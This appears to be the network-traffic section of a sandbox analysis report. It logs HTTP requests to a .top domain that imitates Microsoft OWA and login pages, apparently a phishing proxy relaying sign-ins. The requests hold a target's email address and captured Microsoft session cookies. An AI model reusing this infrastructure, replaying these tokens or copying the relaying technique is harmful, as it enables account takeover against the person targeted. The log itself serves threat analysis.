Source: global traffic	HTTP traffic detected: GET /owa/?login_hint=sheue%407haircare.com HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0
Source: global traffic	HTTP traffic detected: GET /captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw== HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_ChpboAn7HyXj89A22M8mzg2.js HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; fpc=AlQZcavYEAhAkPirn2lEBLc; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd82lSCu0BXePn0A_Kv9z2Yg2Rfz-1hzKb96rPs4sgy0b6kyDzZH9E5-sfPbrs-oVHt58TRsHb9gnVEPUXsEkmw0cXVuLVyqL_Wp-rC8l8e3H4a6OCYn5m8rWbOPiRBsrHvLgVpOWOQkaxsQz9O2wQGYBt4t_8pAVNSC2I3Ak_uTGQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: e76abede.df1076c6f7230d3c23de9bcb.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/?qrc=sheue@7haircare.com&Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: e76abede.df1076c6f7230d3c23de9bcb.workers.devConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_4aBF4cdky--I3Cpch7JoPw2.js HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_0lriinjhzchre9aqecvmpg2.js HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA
